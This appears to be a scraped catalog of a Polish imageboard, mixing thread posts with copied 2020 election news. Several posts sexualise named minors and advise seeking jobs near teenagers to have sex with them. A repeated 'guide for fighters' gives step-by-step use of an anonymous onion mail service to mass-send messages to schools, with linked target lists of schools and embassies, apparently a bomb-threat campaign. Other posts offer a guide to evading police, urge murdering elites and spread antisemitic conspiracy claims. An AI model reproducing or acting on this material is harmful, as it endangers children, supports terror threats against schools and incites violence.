Widać wyraźnie że w godzinach lekcji szkolnych cisza jest na "gangsterskim" lolifoksie. Potem gdy "gangsterzy" wracają z lekcji do domu i odpalają kompy, robi się tutaj ruch. Niektórzy uaktywniają się z kolei przeważnie po godzinach pracy, więc są już pełnoletni i pracują. Na tych skupia się analiza profilująca, bo gimbaza tylko z wypiekami udaje i pozuje, a tych kilku dorosłych (wiekowo, nie umysłowo) panów dobrze wypadnie w statystyce aresztowań i osadzeń.

Jeśli chodzi o techniki operacyjne, to mało wydajne wywiadowczo honeypoty typu cebulka zastępowane są znacznie lepszymi metodami antywywrotowymi carskiej Ochrany. Działały za cara, działają i dzisiaj. I są nawet skuteczniejsze w epoce kiedy jeden oficer może istnieć w sieci jako wiele osób, albo - co istotniejsze - może podszywać się dyskretnie w różnych miejcach pod inne osoby by skutecznie sterować ludźmi. W praktyce poziom "gangsterów" jest taki, że jeden wyszkolony psychologicznie oficer bez problemów może kontrolować ich zachowanie nawet w kilku miejcach sieci jednocześnie w ciągu dnia.

R: 28 / I: 59 / P: 15

POLSKIE NASTOLETNIE SIKSY

postujcie jakieś polskie małolaty znane, typu:

-samosiaa

-roksana węgiel

-córki Marty Kaczyńskiej

i podobne

zdjęcia, filmy, newsy, informacje o nich. gdzie je znaleźć

i co byście z nimi zrobili w łóżku

R: 14 / I: 0 / P: 15

gdzie znaleźć koleżanki nastoletnie?

tam gdzie przebywają one czyli… yyy… ? no właśnie, gdzie?

może

-szkoła

-internet, youtube, snapchaty, tiktoki

-imprezy i konwenty np.youtuberów, roksany węgiel

można też pracę w pobliżu nastolatek np.nauczyciel, kolonista, trener sportowy, ginekolog dziecięcy

a potem je poznawać, podrywać, chodzić, jebać

R: 100 / I: 7 / P: 16

PORADNIK DLA BOJOWNIKÓW

1. klikasz Tor Browser

2. wchodzisz na http://secmailw453j7piv.onion/src/signup.php

3. wpisujesz pseudonim i hasło których nie używasz nigdzie indziej

4. logujesz się na http://secmailw453j7piv.onion/src/login.php

5. za jednym razem możesz wysłać do 10 szkół, oddzielonych przecinkami

6. możesz wysłać wiele razy

7. w razie limitu zakładasz nowe konto http://secmailw453j7piv.onion/src/signup.php

TUTAJ LISTY

http://depastedihrn3jtw.onion/show.php?md5=ee20886115636f7e0d733469db54ebef

https://paste.debian.net/plainh/f46d65bb

https://paste.ubuntu.com/p/ywrY9fM8s8/

https://pastebin.com/raw/9wrD5PBW

https://paste.ee/r/MATpe/

https://archive.vn/Q52qG

najlepiej wybrać losowo ze środka listy, nie same z początku

R: 44 / I: 1 / P: 16

PORADNIK BEZKARNOŚCI W INTERNECIE

Szyfrujemy dysk

zaszyfrowanie dysku jest drugą najważniejszą rzeczą do zrobienia. na Linux zaszyfrujesz system jednym kliknięciem podczas instalacji. na Windows musisz zainstalować program Veracrypt https://www.veracrypt.fr/en/Downloads.html

ustaw długie hasło, zbudowane na podstawie skomplikowanej frazy lub zdania

to jedyne hasło które musisz zapamiętać w życiu, bo do innych stron powinieneś stosować losowo wygenerowane unikalne hasła, zapisane w pliku tekstowym albo menedżerze haseł

Tor Browser

korzystanie z Tora jest absolutnie najważniejszą rzeczą i podstawą bezkarności i anonimowości w internecie. to 1% wysiłku który daje 99% efektów. nie ma ważniejszej rzeczy ani żadnej alternatywy dla Tora.

pobierz Tor Browser ze strony https://www.torproject.org/ i zacznij używać go codziennie, do wszystkich lub prawie wszystkich czynności. kazda domena otwarta przez Tor Browser dostaje inny adres IP oraz inny kontener plików cookie. każdy użytkownik ma ten sam lub podobny fingerprint. możesz sprawdzić na https://panopticlick.eff.org czy dobrze wtapiasz się w tłum

jeżeli nie chcesz logować się z Tora na konta powiązane z twoją tożsamością, rozważ czy posiadanie takich kont jest w ogóle konieczne

nie daj się wrobić w żadne VPN ani karty na słupa. absolutnie nie płać za nie pieniędzmi, które można powiązać z tobą lub twoimi działaniami.

jeżeli zdecydujesz się na głupotę jaką jest korzystanie z VPN, nigdy nie zdradzaj ludziom z Tora z jakiego dostawcy VPN korzystasz

Whonix

co zrobić kiedy strona blokuje Tora? i nie chcesz lub nie możesz skorzystać z kilkukrotnego kliknięcia Ctrl + Shift + L?

zainstaluj virtualbox ze strony https://www.virtualbox.org/ i zaimportuj whonix ze strony https://www.whonix.org/

wejdziesz w posiadanie storyfikowanego systemu operacyjnego. wszystko zrobione w tym systemie będzie przechodzić przez Tora. jeżeli podłączysz się do proxy połączenie przejdzie

ty → Tor → proxy → strona

bezpłatne proxy znajdziesz na stronie http://spys.one/free-proxy-list/PL/

są one bezpieczniejsze od płatnych, ponieważ nie zostawiasz śladu płatności

oprócz korzyści praktycznych, Whonix zapewnia również dodatkową warstwę ochrony przed exploitami, a także pozwala szybko i wygodnie zmieniać fingerprint systemu operacyjnego

Opsec

staraj się być anonimowy, nie pseudonimowy. nie rejestruj się na stronach. nie pisz pod stałym nickiem. udzielaj się tylko anonimowo. jeżeli konieczne jest skorzystanie z prywatnego kanału kontaktu, stosuj inne adresy email dla innych osób i spraw, a nawet inne dla tych samych na przestrzeni czasu. unikaj kluczy pgp, stanowią stuprocentowy dowód tożsamości. Ross Ulbrich wpadł bo pisał pod tymi samymi nickami na Bitcointalk i Stackoverflow. równieź źle skończyli Kyber, Venom, Polsilver i Pocket. największym błędem hakera jest wybranie sobie nicku

Wpadłem, co robić?

po pierwsze nigdy się nie przyznawać. po drugie za nic się nie przyznawać. wszystko co powiesz zostanie wykorzystane przeciwko tobie. nie wiesz, nie pamiętasz, nie masz z tym nic wspólnego. groźny bomber i terrorysta Sebastian Grodecki zastosował się do tego poradnika i wyszedł z opresji bez szwanku. jak idioci będą każdego podejrzewać o lolifox, to będą mieli tylu podejrzanych że gówno z tego będzie. i nawet jak trafią na prawdziwego, to on zaprzeczy jak reszta, a oni mu uwierzą. zresztą nie można wykluczyć że lolifox był już na takim przesłuchaniu w innej sprawie, może nawet był pytany o lolifox, ale nic nie wiedział

R: 120 / I: 7 / P: 16

https://wyborcza.pl/7,156282,25548683,cyberprofilerka-zaglada-cyberprzestepcom-do-mozgow.html?disableRedirects=true

Za największymi atakami hakerskimi w Polsce i Szwecji stał cieśla. Cyberprofilerka opowiada o swojej pracy

Rozpracowują geniuszy informatyki. Dzięki ich pracy rozbijane są całe szajki cyberprzestępców. Jedna z nielicznych cyberprofilerek w Polsce opowiada nam o kulisach swojej pracy.

- To był cieśla. Miał zawodowe wykształcenie, nigdy nie skończył żadnych informatycznych studiów, a razem z bratem kierował największymi hakerskimi atakami na firmy w Polsce i Szwecji - opowiada Beata Legowicz, cyberprofilerka, która opisała sprawę cieśli-hakera w swojej pracy dyplomowej. - Kiedy trzy lata temu Centralne Biuro Śledcze Policji zatrzymało Grzegorza H., śledczy byli zaskoczeni jego umiejętnościami, a sam H. nie do końca był w stanie zrozumieć, jak policja wpadła na jego trop. Był początek października, jego dziewczyna przygotowywała się na inaugurację roku akademickiego, a tu niespodziewanie do drzwi zapukali funkcjonariusze.

W Polsce jest tylko kilku ekspertów takich jak ona. Ale na świecie cyberprofilerów zatrudniają już właściwie wszystkie służby i co większe korporacje. Zadaniem Legowicz nie jest zabezpieczenie sprzętu przed włamaniem ani walka z cyberprzestępczością. Jako cyberprofilerka jest odpowiedzialna za namierzanie konkretnej osoby lub określenie jego cech. Nie możemy napisać, w której instytucji pracuje - nie chcemy narazić jej na ryzyko ataków. Legowicz ma jednak kilkunastoletnie doświadczenie w pracy w organach ścigania, w tym instytucji odpowiedzialnej za rozwój krajowej kryminalistyki i techniki kryminalistycznej.

R: 19 / I: 1 / P: 16

LUDZIE SZYBKO! ROZKOSZ Z WHONIXEM

LUDZIE!!!!

szybko póki jesteście młodzi musicie przeżyć miłość i romanse z Whonixem

później już będzie za późno. będziecie mieli zbackdoorowane procesory a jedyne co będziecie mogli robić to niekaralne rzeczy, a nie mocne akcje

więc nie czekajcie ani chwili dłużej. to wasza jedyna i ostatnia szansa. jedynie Whonix potrafi naprawdę kochać. zbackdoorowane procesory będą nagrywać waszą każdą interakcję na komputerze, Linux nie pomoże, wszystko będzie zateczkowane przez NSA.

dlatego bierzcie co się wam należy. jeśli ktoś stanie wam na drodze (glownigger, policjant, reżim) to wszystkich zabijacie, niszczycie. tylko najlepszy, najsilniejszy wygrywa i dostaje rozkosz z Whonixem.

dni lecą i spełnienie rozkoszy się oddala. nie wahaj się ani chwili dłużej.

przejdźcie do działania albo skończy się na gadaniu i będziecie jak Pan Śmieć któremu nie dali więc psuje innym trzeba tu rozpisać plan działania. kroki jakie wykonać by mieć niezbackdoorowany komputer do anonimowości. potem realizować je bezwzględnie. i dzielić się tutaj rezultatami.

R: 21 / I: 1 / P: 16

Polska = oligarcha, mafia

ten kraj jest przejęty przez żydowskie i polskie loże mafie kasty, 99% polaczków ma zapierdalać na wybranych z kasty, jak kaściarz zabije prola to nic mu nie grozi. gdyby polacy mieli odrobinę rozumu i siły to by wymordowali kaściarzy widłami i benzyną

a policjanci są żołnierzami kaściarzy, pochodzą z plebsu i dali się skorumpować, w zamian za 2500zł i wcześniejszą emeryturę bronią oprawców i ścigają ludzi którzy chcą obronić gnębionych

musimy zniszczyć polskę i polaczków. wszelkie metody dozwolone

R: 34 / I: 1 / P: 16

Kto stoi za atakami na wszystkie nasze fora i nie tylko

Rozpracowanie grupy atakującej lolifox i inne miejsca

Wykonujący ataki: lodówkowicze z karaczana i wilczana, karadiscordowcy. część z nich jest faktycznie w lodówce bo zapostowało coś nielegalnego na karaczanie i mają obowiązek wykonywać polecenia. część z nich może otrzymywać kieszonkowe za ataki. a część z nich to po prostu pożyteczni idioci, rekrutowani z karaczana, którym "moderator" każe atakować dany cel i ci idioci to robią i myślą że robią "raid" a tak naprawdę nieświadomi robią loda polskiej policji, są szmatą którą wysługuje się Jędrzejczak i jego koledzy

Zlecający ataki: ludzie policji, służb, kast, NCBC, SKW, MON, tacy jak Łukasz Jędrzejczak. Łukasz Jędrzejczak sam chwalił się i rozpisywał na temat funkcjonowania lodówki i jak rekrutuje do niej ludzi z karaczana czy cebulki a potem wydaje im rozkazy.

Schemat działania: zazwyczaj czekają na dobrą okazję np.jak jest kłótnia na forum albo jakieś wydarzenie, wtedy aktywują ataki tak by podejrzany był ktoś inny, czyli dokonują ataków typu False Flag

Rodzaje ataków: różne, DDOS, wrzucanie placków i zgłaszanie do hostingu, spamowanie plackami, spamowanie tekstem

Cele ataków: celami nie są tylko lolifoksi. celami są wszystkie miejsca poza kontrolą polskich służb, albo miejsca które są niewygodne dla polskiej i międzynarodowej oligarchii. Jednym z innych celów są radiowe audycje Kloda, znane potocznie jako "orgonity", w których porusza on kwestie bilderbergów, New World Order, korupcji u szczytów władzy. Ataki na jego audycje są organizowane przez te same osoby co ataki na loli fox. Poza lodówkowiczami atakują też pożyteczni idioci którzy odwiedzają karaczana i wilczana, którzy myslą że "trollują" i że jest beka. Oczywiście jeśli ktoś na karaczanie lub innym miejscu służb zaproponuje atak na inny cel, to jest to szybko ubijane. Głupki z karaczana mają atakować tylko wtedy, kiedy jest to w interesie policji i olig archii.

Miejsce rekrutacji atakujących: atakujący są rekrutowani z karaczana, cebulki, wilczana, wykopu, discordu, być może też innych miejsc

Koordynacja: głównym miejscem przyjmowania rozkazów jest kanał na diskordzie. jednak zdarza się też że do konkretnego ataku jest namawiana szersza grupa karagłupków, wtedy są zakładane tematy na karachanie i wilczanie. Inne możliwe miejsca koordynacji to tajne deski i grupki na facebooku.

R: 15 / I: 0 / P: 16

LETS PLAY A GAME…

ambasady i konsulaty: http://depastedihrn3jtw.onion/show.php?md5=427014a08e6bf29fa191835422405d86

jednostki antyterrorystyczne w Europie: https://web.archive.org/save/https://sip.lex.pl/akty-prawne/dzienniki-UE/wykaz-stalych-punktow-kontaktowych-ds-porzadku-publicznego-68485305

potrzebna lista na świecie

PORADNIK

1. klikasz Tor Browser

2. wchodzisz na http://secmailw453j7piv.onion/src/signup.php

3. wpisujesz pseudonim i hasło których nie używasz nigdzie indziej

4. logujesz się na http://secmailw453j7piv.onion/src/login.php

5. za jednym razem możesz wysłać do 10 szkół, oddzielonych przecinkami

6. możesz wysłać wiele razy

7. w razie limitu zakładasz nowe konto http://secmailw453j7piv.onion/src/signup.php

R: 16 / I: 0 / P: 16

dzisiaj o 20 dziennikarze śledczy TVN zajmą się knurem. będzie grubo

R: 11 / I: 1 / P: 16

Dziennikarz Onetu ścigany za artykuły o "Krystku" i Marcinie T. Grożą mu 2 lata

W styczniu 2019 r. autor czytał akta sprawy "Krystka", po czym opisał najważniejsze wnioski w artykule w Onecie, zmieniając pokrzywdzonym personalia. Zaatakowali go gdańscy prokuratorzy i sędziowie. Za ten artykuł grożą mu dwa lata więzienia, czyli o rok mniej, niż ma Krystek za zgwałcenie 16-latki

https://www.wykop.pl/link/5531981/dziennikarz-onetu-scigany-za-artykuly-o-krystku-i-marcinie-t-groza-mu-2-lata/

R: 22 / I: 0 / P: 16

NAJWIĘKSZE KŁAMSTWA O Tor

1. TOR JEST ROZPRACOWANY

RZECZYWISTOŚĆ: Tor na dzień dzisiejszy jest najbezpieczniejszym rozwiązaniem do anonimowości w internecie, ludzie robią mocne rzeczy i pozostają bezkarni

2. TOR TO HONEYPOT AMERYKAŃSKICH SŁUŻB, STWORZYŁO GO I FUNDUJE

RZECZYWISTOŚĆ: Tor został opracowany w latach 90 na zlecenie amerykańskiego wojska które potrzebowało narzędzia do bezpiecznej komunikacji przez internet, w XXI wieku Tor Project zaczęło rozwijać projekt niezależnie, jako organizacja non-profit. używanie narzędzia do anonimowości tylko przez amerykańskich agentów mijałoby się z celem ponieważ wiadomo by było że to oni dlatego projekt został udostępniony publicznie by każdy mógł używać i wmieszać się w tłum, dlatego Tor jest wspierany przez rząd amerykański

'''3. UŻYWANIE TOR BEZ "ZABEZPIECZEŃ" JEST NIEBEZPIECZNE, TRZEBA MIEĆ VPN PROXY VPS MODEM NA SŁUPA

RZECZYWISTOŚĆ: technika używana przez policję by zniechęcić ludzi do Tor i przez dostawców VPN by zastraszyć osoby dbające o prywatność i anonimowość i zmusić do zakupu ich usług

4. Z TOR KORZYSTAJĄ IRAŃSCY AKTYWIŚCI, UCIEKINIERZY Z KOREI PÓŁNOCNEJ, CHIŃSCY BOJOWNICY O WOLNOŚĆ

RZECZYWISTOŚĆ: większość użytkowników pochodzi z Ameryki Północnej i Europy Zachodniej, "demokratycznych" państw

5. POBIERAJĄC TOR TRAFIA SIĘ NA LISTĘ NSA

RZECZYWISTOŚĆ: bez Tor każda aktywność w internecie jest teczkowana, z Tor być może trafią się na zwykłą watchlistę składającą się z milionów ludzi ale aktywność w internecie jest nieznana

6. TOR JEST GŁÓWNIE UŻYWANY DO PORNOGRAFII DZIECIĘCEJ, NARKOTYKÓW, PRZESTĘPSTW

RZECZYWISTOŚĆ: zdecydowana większość ludzi używa Tor do legalnych aktywności jak lurkowanie clearnetu, ruch onion jest mały

7.TOR BROWSER JEST NIEBEZPIECZNY, JEDEN KLIK I JEST SIĘ ROZPRACOWANYM, TRZEBA MIEĆ OSOBNY KOMPUTER KTÓRY SIĘ CZYŚCI

RZECZYWISTOŚĆ: totalna głupota, takie rzeczy opowiadają osoby robiący sensację z darknetu, jest tak samo niebezpieczny jak clearnet, wystarczy mieć opsec i rozum w głowie żeby być bezpiecznym

8. NA DARKNECIE SĄ POJEBANE RZECZY, ZAKAZANE MATERIAŁY RED ROOMY, PŁATNI ZABÓJCY

RZECZYWISTOŚĆ: pojebane rzeczy i zakazane materiały są na clearnecie, red roomy i płatni zabójcy to bajka

9. JAK POBIORĘ TOR BROWSER TO POLICJA DO MNIE ZAPUKA I PÓJDĘ DO WIĘZIENIA

RZECZYWISTOŚĆ: Tor jest legalny, policja nikogo nie odwiedza za używanie Tor, nawet nie odwiedza przestępców

10. POLSKA POLICJA SKUTECZNIE ŁAPIE TOROWICZÓW

RZECZYWISTOŚĆ: bajeczka służb by ludzie się bali policji i nie robili przestępstw, jest zupełnie bezradna i nie ma możliwości łapać przestępców z opsec, ma spory problem z VPNowcami i clearnetowcami a co dopiero Torowiczami

R: 46 / I: 0 / P: 16

wiecie że jeśli akcja z ambasadami się uda to będzie to najmocniejsze cyberprzestępstwo dokonane za pomocą Tor? Lolifox Poland będzie znane na całym świecie, teraz jest tylko regionalnie. zapiszemy się na kartach historii, może nawet zainspirujemy innych bomberów tak jak to my zostaliśmy zainspirowani

najważniejsze żeby to zrobić bezpiecznie, bez wpadki. wyobraźcie sobie co powiedzą normiki jak sprawcy pozostaną bezkarni

R: 0 / I: 0 / P: 16

Duda: Ochrona rodziny jest najważniejsza

Ochrona rodziny jest najważniejsza. A ta rodzina to chłopak i dziewczyna. Ta rodzina to małżeństwo, które jest związkiem kobiety i mężczyzny - powiedział dzisiaj w Dębicy prezydent Andrzej Duda.

Prezydent na spotkaniu z mieszkańcami Dębicy podkreślał, że polska rodzina jest jedną na najważniejszych wartości, "bo ona w sobie te głębsze wartości niesie".

#DUDA2020 🇵🇱 pic.twitter.com/uPGpC988Lo

— #DUDA2020 (@AndrzejDuda2020) July 10, 2020

"Wszystkie one wyrastają z tego pnia, który zaczął rosnąć ponad 1050 lat temu, kiedy przyjęliśmy chrzest z Zachodu, z Rzymu poprzez Czechy, po to, by stać się częścią chrześcijańskiej Europy, po to by stać się wtedy częścią Europy Zachodniej od strony kulturowej, bo to jest niezwykle ważne" - powiedział.

Prezydent mówił, że obecnie mamy szansę na to, "by zbudować taką Polskę, jakiej nie było od XVII wieku". Wskazał, że taka Polska będzie miała olbrzymi potencjał w swojej części Europy. Powiedział, że wielką szansą na najbliższe lata jest doprowadzenie Polski "na poziom takiego dobrobytu jak państwa Unii Europejskiej na Zachodzie".

#Dębica, to było spotkanie pełne energii! #DUDA2020 pic.twitter.com/PkL41rjg7C

— #DUDA2020 (@AndrzejDuda2020) July 10, 2020

Andrzej Duda wskazał, że wiara, tradycja i wartości, które są wpisane w rodzinę, to jedne z filarów, na jakich musi być oparta Polska. Podkreślił, że właśnie dlatego najważniejsza jest ochrona rodziny.

"A ta rodzina, proszę państwa, to chłopak i dziewczyna. Ta rodzina to małżeństwo, które jest związkiem kobiety i mężczyzny. To jest rodzina. Rodzina, która wychowuje dzieci, tak jak małżonkowie, którzy mają konstytucyjne prawo wychowania dzieci zgodnie z własnymi przekonaniami. To jest podstawowe prawo rodziców, które mam nadzieję, wreszcie będzie w naszym kraju nie tylko zapisem konstytucyjnym, ale przede wszystkim będzie mogło być przez rodziców realizowane wobec szkoły"

- powiedział prezydent.

Mówił, że szkoła nie powinna "wprowadzać kogokolwiek z zewnątrz do tego, aby dzieciom przekazywał jakieś treści bez zgody rodziców". Przypomniał, że przygotował projekt dotyczący tej kwestii.

Dodał, że "nikt nie może na polskich dzieciach prowadzać żadnych eksperymentów, żadnych - także ideologicznych". Wskazał, że z tego powodu przygotował projekt zmian w konstytucji przewidujący, że zakazane jest przysposobienie przez osobę pozostającą we wspólnym pożyciu z osobą tej samej płci.

R: 0 / I: 0 / P: 16

Droga inwestycji i rozwoju Dudy albo droga chaosu i konfliktu Trzaskowskiego

Możemy wybrać drogę inwestycji i rozwoju, ujętą w planie prezydenta Andrzeja Dudy, albo drogę chaosu i konfliktu, którą szykuje jego konkurent - mówił w piątek premier Mateusz Morawiecki, który odwiedził miejscowość Smolnica w gminie Sośnicowice (Śląskie).

"W setkach, tysiącach polskich wiosek, gmin i we wszystkich powiatach realizowane są teraz inwestycje, to są inwestycje z Funduszu Dróg Samorządowych"

– powiedział szef rządu, który uczestniczył w briefingu zorganizowanym przy modernizowanej drodze w Smolnicy.

Premier @MorawieckiM w #Smolnica: Przywozimy w ramach funduszu kolejne 6mld zł z uszczelnienia systemy podatkowego. Jak przez durszlak wcześniej przepływało 40-50 mld zł. To potwierdzone jest w raportach KE, a my to przesyłamy na inwestycje. pic.twitter.com/HsBAm6zhY4

— Kancelaria Premiera (@PremierRP) July 10, 2020

"Dobrze by było zapytać samorządowców z różnych stron Polski, z różnych opcji (…) jak wyglądały inwestycje w drogi samorządowe, w drogi gminne, w drogi powiatowe jeszcze pięć, jeszcze siedem lat temu" – dodał Morawiecki.

Jak mówił, za poprzednich rządów wydawano na te cele średnio 600 mln zł rocznie.

"Tymczasem razem z tegorocznym naborem dla województwa śląskiego – zeszłoroczny, ten który się odbył i ten który będzie – to będzie też około 600 milionów złotych. Szanowni państwo porównajcie te dwie kwoty: tu 600 milionów złotych dla województwa śląskiego (…) i tam 600 milionów złotych średnio rocznie dla całej Polski. To dlatego teraz widać różnice" – wskazał szef rządu.

Jak przekonywał, w całej Polsce są "tysiące" remontowanych, modernizowanych i budowanych od podstaw dróg.

"Teraz też stoimy przed takim momentem, że można wybrać drogę – drogę inwestycji, drogę rozwoju, drogę, która jest ujęta w planie pana prezydenta Andrzeja Dudy, albo drogę chaosu i drogę konfliktu, którą szykuje jego konkurent"

– podkreślił premier.

R: 139 / I: 4 / P: 16

>bądź google

>wytresuj swoje algorytmy żeby wykrywały nieprawidłowości i blokowały logowania z dziwnych lokalizacji

>profilerzy i wyjebkowicze cię nienawidzą

>enter nordvpn

>wylansuj się w opór - reklamy na polskiej telewizji w godzinach szczytu

>miliony normików kupuje twoją usługę, hehe bezpieczeństwo

>normictwo zaczyna logować się z dziwnych adresów IP

>vpn to nowa normalność

>nie blokuje już jak logujesz się z vpna bo każdy loguje się z vpna

>profilerzy i wyjebkowicze kochają cię

dziękuję pan nordvpn

pamiętajcie o tor browser

R: 1 / I: 0 / P: 16

Liderzy Młodzieży Wszechpolskiej wskazują na Dudę

"Polska teraz nie potrzebuje trzyletniego sporu, batożenia partyjnego, działania na zasadzie, na złość mamie odmrożę uszy" - apeluje do środowisk narodowych Dariusz Wasilewski, były prezes Młodzieży Wszechpolskiej. Również obecny wiceprezes MW, Krzysztof Nyczaj zaznacza, że wybierając Andrzeja Dudę, "wybieramy normalność". "Konsekwencją wyboru Trzaskowskiego na prezydenta są wcześniejsze wybory i rząd koalicyjny PO, SLD i PSL. Polska pójdzie szybko drogą Hiszpanii Zapatero" - ostrzega Nyczaj.Po dobrym wyniku Krzysztofa Bosaka (Konfederacja) w pierwszej turze wyborów prezydenckich, Rafał Trzaskowski nagle zaczął interesować się prawicowym elektoratem. Nawet zapowiedział, że pójdzie w Marszu Niepodległości. Dostał już odpowiedzi od wielu polityków.

eraz są kolejne.Liderzy Młodzieży Wszechpolskiej oficjalnie opowiedzieli się po stronie prezydenta Andrzeja Dudy. Uczynili tak m.in. honorowi prezesi MW Dariusz Wasilewski i Krzysztof Nyczaj.

Dariusz Wasilewski - były prezes Młodzieży Wszechpolskiej (lata 1995-97)

Dzięki super kampanii K. Bosaka, jego a szczególnie te ponad 1,3 mln osób wielką miłością obdarzyli dwaj pretendenci. W związku z tym wielu endeków ukazało swe poglądy i jak to w myśli narodowej każdy powołuje się na magiczną racjonalność endecką wspierając jednak różne opcje. I bardzo dobrze, świadczy to o wolności i kreatywności środowiska. Warto spierać się, ćwiczyć swe umysły i kreować poglądy, bez zacietrzewienia ale spokojnie i rozważnie

- pisze Wasilewski

Zaznacza cztery, jego zdaniem sprawy najważniejsze: po pierwsze konieczność głosowania i wyboru, jako obowiązek narodowy; po drugie - wychwytywanie dobra i "rezolutne zauważenie zła", po trzecie - interes narodowy idący za konkretnym wyborem i po czwarte - spojrzenie na wybory taktycznie, a nie uczuciowo.

Prezydent to symbol, to autorytet i tak na niego jako pewnego zwornika Polski należy patrzeć. Błędem jest grzęźnięcie w dywagacje programowe, które tu są mniej ważne. Ważne są symbole i generalia.

Jakim symbolem suwerennej Polski byłby R. Trzaskowski, który jest zgrabnym uczniem Bronisława Geremka i Gyorga Sorosa, członkiem Klubu Bilderberg, wyznawcą germańskiej polityki budującej unijne super państwo, ambitnie realizując Nowy Wspaniały Świat. Więc stajemy przed wyborem, czy Polska będzie państwem, które zachowuje resztki suwerenności w sposób może pokraczny, ale jednak, czy Polską która na całej linii rejteruje oczekując na wskazówki Brukseli czy Berlina, utrwalając anschluss do UE

- uważa Dariusz Wasilewski, powołując się na przykład Hiszpanii.

Polska też teraz nie potrzebuje 3 letniego sporu, batożenia partyjnego, działania na zasadzie, na złość mamie odmrożę uszy

- dodaje.

WYBÓR jednak ważny Dzięki super kampanii K. Bosaka, jego a szczególnie te ponad 1,3 mln osób wielką miłością obdarzyli…

Opublikowany przez Dariusza Wasilewskiego Czwartek, 9 lipca 2020

Krzysztof Nyczaj - prezes honorowy Młodzieży Wszechpolskiej

Apel wystosował obecny wiceprezes MW, Krzysztof Nyczaj, który dodatkowo zmienił swoje zdjęcie profilowe, ustawiając na nie nakładkę o treści "DUDA 2020 - mój wybór".

Apeluję i proszę młodszych kolegów narodowców. Wiem, że macie wiele zastrzeżeń do obecnie rządzących, mnie, jako narodowca z krwi i kości, również boli sposób traktowania przez nich Konfederacji i szeroko pojętego Ruchu Narodowego. Stoimy jednak obecnie w momencie przełomowym. Wybierając Andrzeja Dudę na Prezydenta, wybieramy jako taką normalność, zyskujemy jeszcze pięć lat nadziei na otrzeźwienie rządzących i odzyskania pola obszarze kultury. Uzyskujemy pewien margines swobodnego głoszenia naszych poglądów

- pisze Krzysztof Nyczaj.

Konsekwencją wyboru Trzaskowskiego na prezydenta są wcześniejsze wybory i rząd koalicyjny PO, SLD i PSL. Polska pójdzie szybko drogą Hiszpanii Zapatero. Nie damy rady już tego zatrzymać. Stracimy wszystko, nawet nadzieję

- uważa Nyczaj.

R: 0 / I: 0 / P: 17

Trzaskowskiego wspierają transwestyci

- Idziemy na wybory moi drodzy, oczywiście wszyscy idziemy! Głosujemy na Trzaskowskiego i tu nie będziemy ukrywać: "O, głosujcie na kogo chcecie". Nie k….! Głosujemy na Trzaskowskiego! - tak swoje poparcie dla kandydata KO wyraża dwóch mężczyzn z makijażem przebranych w damskie ciuchy.

Już tylko godziny dzielą nas od rozpoczęcia ciszy wyborczej przed drugą turą wyborów prezydenckich. Najnowsze sondaże wskazują jednoznacznie, że dwóch kandydatów dzieli niewielka różnica poparcia, a o zwycięstwie zdecyduje mobilizacja elektoratów.

Duda z silnym wsparciem

W tych ostatnich chwilach starającego się o reelekcję prezydenta Andrzeja Dudę wsparła grupa kombatantów, m.in. płk Marian Pawełczak ps. Morwa, kpt. Marianna Krasnodębska ps. Wiochna i kpt Jerzy Nowicki ps. Plastuś.

Deklarację oddania głosu na kandydata Zjednoczonej Prawicy złożył dziś dr Bawer Aondo-Akaa - ikona ruchu wolnościowegoa Dudę stawiają również organizacje młodzieżowe, które podkreślają: „Duda daje największą szansę".

Trzaskowskiego wspierają transwestyci

Tymczasem kandydata KO Rafała Trzaskowskiego postanowiło wesprzeć środowisko LGBT.

Idziemy na wybory moi drodzy, oczywiście wszyscy idziemy! Głosujemy na Trzaskowskiego i tu nie będziemy ukrywać: "o, głosujcie na kogo chcecie". Nie k…., głosujemy na Trzaskowskiego

- słyszymy na filmiku zamieszczonym w sieci.

Pamiętajcie, że teraz nie mamy wyboru

- podkreślają.

Zobaczcie film:

Środowisko LGBT zmobilizowane przed wyborami. Wiedzą, że ewentualna wygrana Rafała Trzaskowskiego to karta LGBT w całym kraju.

"Głosujemy na Trzaskowskiego. I nie ma, że boli. Mamy wybór, wybieramy Trzaskowskiego"

pic.twitter.com/tRRxAXhOh7

— Sebastian Kaleta (@sjkaleta) July 10, 2020

R: 3 / I: 0 / P: 17

"Cyberbezpieczeństwo" ala Trzaskowski

Przypomnijmy sobie rok 2014. Rosyjska agresja na Ukrainie i jednoczesne masowe ataki rosyjskich hakerów na kraje NATO. Sytuacja jest na tyle poważna, że Sojusz niewiele później uzna internet za jeszcze jedną przestrzeń, w której prowadzone są działania wojenne.

A w tym samym czasie w Ministerstwie Cyfryzacji kierowanym przez Rafała Trzaskowskiego cała cyberbezpieka mająca chronić Polskę jest czynna… do 16. Potem szlus! Na 24 godziny, jakie ma doba, aż 16 nasz kraj pozostawał całkowicie bezbronny. Też nie mogłem uwierzyć, ale ten tragiczny stan potwierdza raport NIK. Zamiast coś zrobić, minister jechał do São Paulo, by aż 3,5 minuty rozprawiać na temat wolności w internecie. Cały Rafał, bo to zachowanie typowe dla niego. W swojej, już długiej, karierze politycznej Trzaskowski nie odnotował żadnych konkretnych sukcesów, nie posiada żadnych własnych poglądów, bo te zmienia z gracją krzyżackiego rycerza tańczącego w balecie. Nie ma żadnego programu, bo za taki nie można uznać ociekającego wodą steku banałów, które zwykł wygłaszać z powagą świetlicowego mędrka. Postronny obserwator bardzo byłby zdziwiony, że taka osoba ma czelność ubiegać się o najwyższy urząd w Rzeczypospolitej.

R: 16 / I: 0 / P: 17

Głosując na Trzaskowskiego głosujesz na wpuszczenie fali imigrantów

W niedzielę druga tura wyborów prezydenckich. Polacy wybiorą, czy głową państwa na kolejnych pięć lat zostanie Andrzej Duda, czy kandydat KO Rafał Trzaskowski. Europoseł PiS Jacek Saryusz-Wolski, który był gościem Michała Rachonia w programie "#Jedziemy" w TVP Info ocenił, jak będzie różniła się prezydentura Dudy i Trzaskowskiego, w kluczowych dla naszego kraju kwestiach.

Jeśli chodzi o gospodarkę, to jest wizja rozwoju samodzielnego, versus rozwój zależny, czyli podporządkowany interesom gospodarczym innych

- ocenił Saryusz-Wolski.

Jeśli chodzi o bezpieczeństwo, to jasne stawianie na sprawdzone sojusze, versus polityka bezpieczeństwa oparta o fikcję polityki bezpieczeństwa Unii Europejskiej, gdzie dwa główne kraje, czyli Francja i Niemcy flirtują z Rosją

- dodał.

